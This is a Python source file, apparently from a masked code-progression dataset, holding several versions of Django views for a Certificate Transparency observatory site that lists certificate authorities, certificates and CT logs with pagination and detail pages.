CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\n<mask token>\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Subscription request</strong> - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Unsubscription request</strong> - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef list_cn_certs(request, cn):\n field_id = 'common name'\n expression = cn\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [cn])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef flag(request, flag_id):\n try:\n with open(os.path.join(BASE_DIR, 'static/flags/png/{0}.png'.format(\n flag_id.lower())), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n except IOError:\n with open(os.path.join(BASE_DIR, 'static/flags/png/-.png'), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n\n\n<mask token>\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Subscription request</strong> - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Unsubscription request</strong> - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef list_cn_certs(request, cn):\n field_id = 'common name'\n expression = cn\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [cn])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef flag(request, flag_id):\n try:\n with open(os.path.join(BASE_DIR, 'static/flags/png/{0}.png'.format(\n flag_id.lower())), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n except IOError:\n with open(os.path.join(BASE_DIR, 'static/flags/png/-.png'), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n\n\ndef imprint(request):\n return render(request, 'observer/imprint.html')\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-5": "from django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\nfrom django.db.models import Count\nfrom django.db.models import QuerySet\nfrom django.db import connection\nfrom django.core.paginator import Paginator, PageNotAnInteger\nfrom django.http import HttpResponse\nfrom django.http import HttpResponsePermanentRedirect\nimport datetime\nimport os\nimport json\nfrom ctobservatory.settings import BASE_DIR\nfrom .models import \nfrom notification.forms import SubscribeUnsubscribeForm\n#from .issuefinder import \nimport observer.issuefinder as issuefinder\nfrom django.template.defaulttags import register\nimport hashlib\nimport psycopg2\nITEMS_PER_PAGE = 50\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\nclass FastCountQuerySet():\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute(\"SELECT reltuples FROM pg_class WHERE relname = %s\", [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n # passthrough all the other methods\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n \n def __getitem__(self, item):\n return self.queryset[item]\n\nclass MetadataCountQuerySet():\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute(\"SELECT name_value FROM metadata WHERE name_type = %s\", [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n # passthrough all the other methods\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n \n def __getitem__(self, key):\n return self.queryset[key]\n \n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n \n messages = []\n if('subok' in request.GET):\n messages.append({'class':'alert-info','text':'<strong>Subscription request</strong> - We sent you a confirmation link via email. Click it, and you should be all set.'})\n if('unsubok' in request.GET):\n messages.append({'class':'alert-info','text':'<strong>Unsubscription request</strong> - We sent you a confirmation link via email. sClick it, and you should be all set.'})\n \n subscribeform = SubscribeUnsubscribeForm()\n \n with connection.cursor() as c:\n c.execute(\"SELECT NAME_TYPE, NAME_VALUE FROM metadata\")\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n\n return render(request, 'observer/index.html',\n {\n 'total_certs': metadata['number_of_certs'],\n 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(),\n 'active_certs': metadata['number_of_active_certs'],\n 'expired_certs': metadata['number_of_expired_certs'],\n 'revoked_certs': metadata['number_of_revoked_certs'],\n 'misissued_certs': metadata['number_of_misissued_certs'],\n 'behaving_cas' : metadata['number_of_correctly_behaving_cas'],\n 'interesting_cas' : metadata['number_of_interesting_cas'],\n 'biggest_log' : metadata['number_of_certs_in_biggest_log'],\n 'biggest_log_name' : CtLog.objects.get(id=metadata['biggest_log_id']).name,\n 'smallest_log' : metadata['number_of_certs_in_smallest_log'],\n 'uptime_days': (timezone.now().date()-datetime.date(2015,10,14)).days, #TODO\n 'messages' : messages,\n 'subscribeform' : subscribeform\n }\n )\n\ndef search(request):\n term = request.GET.get(\"term\",\"\")\n\n #found_ca = Ca.objects.filter(name__icontains=term)\n #found_cn_dnsname = Certificate.objects.raw(\"SELECT DISTINCT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, x509_notBefore(CERTIFICATE) FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE (NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s))) OR (NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s)))\n #ORDER BY x509_notBefore(CERTIFICATE) DESC\", [term, term])\n\n return render(request, 'observer/search.html',\n {\n 'term' : term\n #'found_ca' : found_ca,\n #'found_cn_dnsname' : found_cn_dnsname\n }\n )\n\ndef caall(request, page=None): #VIEW FOR CAs\n \n if(page==None):\n return HttpResponsePermanentRedirect(\"all/1\")\n \n\n page = int(page)\n\n list_of_certs = []\n \n filtered_qs = CaFilter(\n request.GET, \n queryset=Ca.objects.all().order_by('common_name')\n )\n\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n \n return render(request, 'observer/cas.html',\n {\n 'list_of_ca': list_of_certs, \n 'filter': filtered_qs#Ca.objects.annotate(num_certs=Count('certificate')).order_by('-num_certs'),\n }\n )\n\ndef certall(request, page=None, ae=None, issuer_ca=None): #VIEW FOR Certificates->ALL\n\n if(page==None):\n return HttpResponsePermanentRedirect(\"all/1\")\n\n ae = request.GET.get(\"algorithm\")\n issuer_ca = request.GET.get(\"issuer_ca\")\n date_notbefore = request.GET.get(\"date_notbefore\")\n date_notbefore_gte = request.GET.get(\"date_notbefore_gte\")\n is_active = request.GET.get(\"is_active\")\n date_notafter = request.GET.get(\"date_notafter\")\n date_notafter_lte = request.GET.get(\"date_notafter_lte\")\n \n page = int(page)\n\n list_of_certs = []\n\n \n\n filtered_qs = CertFilter(\n request.GET, \n queryset=MetadataCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate')\n )\n 